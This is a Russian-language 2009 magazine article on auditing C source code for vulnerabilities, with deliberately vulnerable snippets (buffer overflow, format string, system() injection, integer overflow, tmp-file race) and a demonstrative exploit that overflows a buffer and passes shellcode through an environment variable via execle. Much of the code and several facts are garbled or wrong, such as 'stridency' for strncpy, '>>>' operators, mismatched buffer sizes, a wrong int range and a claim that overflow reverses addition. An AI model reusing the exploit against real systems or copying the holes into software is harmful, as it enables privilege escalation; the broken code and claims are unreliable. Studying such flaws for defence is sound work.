Уязвимости в исходных кодах

Еще не просматривали bugtrack? Я уже заглянул сегодня. Опять куча уязвимостей. Опять куча эксплоитов. Программисты – тоже люди, а потому могут допускать ошибки. И эти ошибки стоят root-a. Итак, сегодня мы поговорим о такой вещи, как «баги» исходного кода. Как вы знаете, ошибки допускаются и в скриптах, и в прикладных программах. В этой статье я хотел бы рассказать об ошибках в программах на языке Си. От вас понадобится знание языка, основ переполнения буфера и построения эксплоитов.

GO!

Вообще, цель использования уязвимости в программе – это передать целевой системе shellcode, который выполнит необходимые действия. Но некоторые уязвимости можно реализовать, не прибегая к шеллкоду. Например, вызвать «отказ от обслуживания» (DoS).

Давайте разложим все это по полочкам: при поиске уязвимостей бывают частные и нечастные случаи. К частным можно отнести известные «баги» вроде ошибки форматной строки или переполнения буфера (Buffer Overflow). К нечастным случаям можно отнести то, что мы находим при определенных обстоятельствах. Эти уязвимости нигде не описаны, то есть приходится рассчитывать только на свои мозги.

Если копать глубже, то бывают ошибки, которые можно использовать локально, а бывают, которые мы реализуем удаленно. Естественно, это зависит от приложения, в котором была найдена уязвимость. Ошибки в разных сетевых службах, как вы, наверное, догадались, мы реализуем удаленно. Часто такие ошибки эксплуатируем для DoS. Но бывает, что можно поднять свои права.

А если у вас есть доступ к серверу и вы нашли там программу с SUID битом, в которой присутствует уязвимость, то можно запустить shell с правами рута. Ошибка может находиться в самом ядре системы, что тоже может повысить наши привилегии.

К примеру, недавно была обнаружена дыра в Linux kernel 2.6.30, она позволяет выполнять произвольный код с правами root. Уязвимость появилась из- за ошибки разыменования нулевого указателя.

Как видите, ошибка не тривиальная. И для грамотного поиска нужно очень хорошо знать язык Си и особенности системы. Давайте поговорим о том, на что нужно обращать внимание при поиске уязвимых мест.

Поиск жучков

При аудите исходного кода (в жаргоне – «сорца»), в первую очередь нужно обязательно смотреть на данные, которые поступают из внешних источников (часто от пользователя). То есть большинство переполнений бывает как раз из-за неграмотной проверки входящих данных. Вообще специалисту по безопасности кода можно жить только с одним правилом: «Проверяй все входящие данные».

Также нужно обращать внимание на буферы со статистическим выделением памяти, то есть буферы фиксированной длины. Данные, которые туда поступают, могут не проверяться, что приведет к тому же переполнению.

При вычислениях нужно обращать внимание, не выходит ли значение за пределы диапазона типа переменной. Если непонятно, приведу пример: переменная типа «integer». Ее диапазон - 2147483648 до 2147483648, а если значение будет больше, то поведение программы может выйти из-под контроля. Например, в gcc такая ошибка приводит к тому, что программа выполняет обратное действие. Если вы прибавляли 10, то будет делать наоборот, т.е. отнимать. Это называется Integer Overflow.

Опасным может быть некорректное приведение типов. И еще стоит сказать, что неправильное выделение памяти и работа с ней могут привести к плачевным последствиям, например, к отказу от обслуживания.

Кроме всего прочего, нужно заострять внимание на таких опасных функциях, как strcpy(), getc(), strcat(), spintf(), printf(), vsprinf(), system() и т.п. Замечу одну интересную вещь: как известно, потенциально опасная функция strcpy() может быть заменена якобы безопасной функцией strncpy(). Но безопасной эта функция будет только при правильном использовании.

Вот пример:

stridency(a,b,sizeof(b));

вроде все правильно, и кусок кода безопасный. Но если сделать так (как многие и делают):

strncpy(a,b,strlen(b));

то функция становится опасной к переполнению. Хочу еще сказать, что для аудита безопасности кода существует множество программ. Думаю, не стоит говорить, что доверять им нельзя. Но все же я приведу в пример несколько:

BOON (Buffer Overrun detectiON)- из названия уже ясно, что программа производит поиск ошибок переполнения буфера в коде.

FlexeLint - у этой программы круг уязвимостей больше: например она предупреждает об опасном стиле кода. Тоже ищет переполнения буфера, а также арифметические переполнения и т.п.

KlocWork K7 - аналогично выявляет дефекты и проблемы безопасности исходного кода.

Если вас заинтересовали эти сканеры, подробнее можете почитать здесь: сайт

Примеры реальных уязвимостей

Ниже я приведу несколько потенциально уязвимых кусков кода, попробуйте самостоятельно найти «багу», а если не получится, то читайте мое решение.
int main(int argc, char *argv[])
{
char in[255];
int r,f;
sprintf(in,"ls",argv[1]);
r=system(in);
if(!r)
{
f=open("/tmp/log",O_RDONLY,0);
printf("OK!");
}
}

Во-первых, сразу видим, что буфер «in» статистический. Память для него выделена сразу же. Впоследствии это может привести к переполнению при работе с функцией sprintf():

Во-вторых, используется функция system(). Она, как известно, становится опасной, если ее аргументы не проверять. Тут как раз такой случай. Можно передать строку, которая скомпрометирует целевую систему на действия, нежелательные для администратора.

int baga(char *arg)
{
char *v;
int i,f;
v=(char*)malloc(sizeof(arg))
i=strlen(v);
if(i>>>10)
{
f=creat("/tmp/import/",0666);
}
else-
{
printf("Sorry. this prorgamm lol ");
}
}

Уязвимость присутствует при создании временного файла «/tmp/exampl». Дело в том, что можно создать жесткую ссылку "/tmp/exampl" на какой-нибудь другой файл, и произойдет “конкуренция доступа к каталогу tmp”.

int main(int argc, char *argv[])
{
char v[100];
if(argc>>>1)
{
strcpy(v,argv[1]);
}
else
{
printf("No symbol ");
}
}

Тут присутствует самое банальное переполнение буфера v []. Его размер 50, а функцией strcpy() мы можем переполнить буфер. Количество входных данных не проверяется.

int main(int argc, char *argv[])
{
if(argc>>>1)
{
printf("argv[0]");
}
else
{
printf("No symbol ");
}

В этом примере, если аргументы больше единицы, мы печатаем имя исполняемого файла... Невооруженным глазом видна ошибка форматной строки. Если в названии программы будут спецификаторы для printf(), то можно произвести кое-какие действия. Например, если название будет таким:

"%x_%x_%x_name", можно получить содержимое стека.

int main(int argc, char *argv[])
{
add=atoi(argv[1])
real=1000000000;
printf("Введите кол-во у.е. которые вы хотите добавить ");
real+=add;
}

Тут есть место атаки класса integer overflow. О ней я уже говорил.

Переменная add не проверяется, т.е. все это может выйти за пределы диапазона integer.

А как же сетевые службы? Приведу опять же пример. Допустим, есть ftp демон. После подключения к нему запрашивается login:password. Так вот, они могут не проверяться. Их переполнение приводит к DoS.

Мы разобрали несколько опасных уязвимостей. Чтобы как то подкрепить полученные знания практикой, я покажу пример простенького сплоита. Он реализует ошибку переполнения буфера. Если вы знакомы с ней, то знаете, что shellcode можно передать через стек, через кучу и через переменную окружения. Через стек, наверное, самый распространенный способ. Я покажу реализацию передачи шеллкода через переменную окружения.

Скажу сразу, что эксплоит лишь показательный. В реальных условиях маловероятно, что его можно применить. Но для примера он подходит. Объяснять технику написания сплоитов я не буду, так как это тема заслуживает отдельной книги.

Итак, возьмем уже известную нам программу:

//proga
int main(int argc, char *argv[])
{
char v[100];
if(argc>>>1)
{
strcpy(v,argv[1]);
}
else
{
printf("No symbol");
}
}
Вот так примерно можно передать шеллкод через переменную окружения:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
char shellcod[]=//Собсно сам код. Но его не пишу.
char *e[2]={shellcod,NULL};
char b[127];
int i,ret,*ptr;
ptr=(int*)(b);
ret=0xbfffffff-5-strlen(shellcod)-strlen("./proga");
for(i=0;i<127;i+=4)
{*ptr++=ret;
}
execle("./proga","proga",b,NULL,e);
}
Сначала мы подготавливаем буфер для внешней переменной, в которой будет шеллкод:
char *e[2]={shellcod,NULL};
Потом буфер для переполнения:
ptr=(int*)(b);
Потом подсчитываем адрес шеллкода, по которому он будет после исполнения функции execle
ret=0xbfffffff-5-strlen(shellcod)-strlen("./proga");
Далее загружаем программу с переполняющим буфером и shell кодом во внешние переменные
execle("./proga","proga",b,NULL,e);
Произошло переполнение.

Вот и все.

OUTRO

Ошибки были, есть и будут. Этого не избежать. Вопрос только во времени и в вашей осведомленности в данной области.

Эта статья рассказывает лишь о малой доле «дыр» в исходных кодах. Если хотите продолжать, то нужно практиковаться: читать код, искать лазейки. Советую чаще посещать bugtrack, в нем обычно всегда описывают причину уязвимости и часто к описанию прилагается exploit.

Вот несколько толковых багтраков:

www.securitylab.ru ;
www.securityvulns.ru ;
www.packetstormsecurity.org ;
www.inj3ct0r.com

Надеюсь, вы узнали что-то новое и не потратили время зря. Удачи!

StraNgeR SASecurity gr. q@sa-sec.org


Компьютерная газета. Статья была опубликована в номере 34 за 2009 год в рубрике безопасность

©1997-2024 Компьютерная газета